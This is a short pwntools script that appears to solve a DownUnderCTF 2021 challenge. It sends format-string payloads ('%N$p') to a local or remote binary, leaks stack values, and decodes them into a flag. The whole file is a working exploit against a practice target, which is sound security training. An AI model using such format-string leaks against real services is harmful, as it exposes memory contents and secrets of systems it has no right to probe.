#!/usr/bin/env python3

from pwn import *
import re

context.binary = ELF('./hellothere')

if args.REMOTE:
    io = remote('pwn-2021.duc.tf', 31918)
else:
    io = process(context.binary.path)

result = ''
for i in range(20):
    log.info(io.recvuntilS('?'))
    io.sendline(f'%{i}$p'.encode())
    io.recvlines(2)
    response = io.recvlineS()
    log.info(response)
    data = re.search(', (.*)', response).groups()[0][2:]
    try:
        # Attempt to convert the response from hex into text
        text = bytearray.fromhex(data).decode()
        result += text[::-1] # Reverse the string to account for endianness
    except:
        # Ignore anything pointed to by the stack that can't be read as text
        pass

print(result)
io.close()
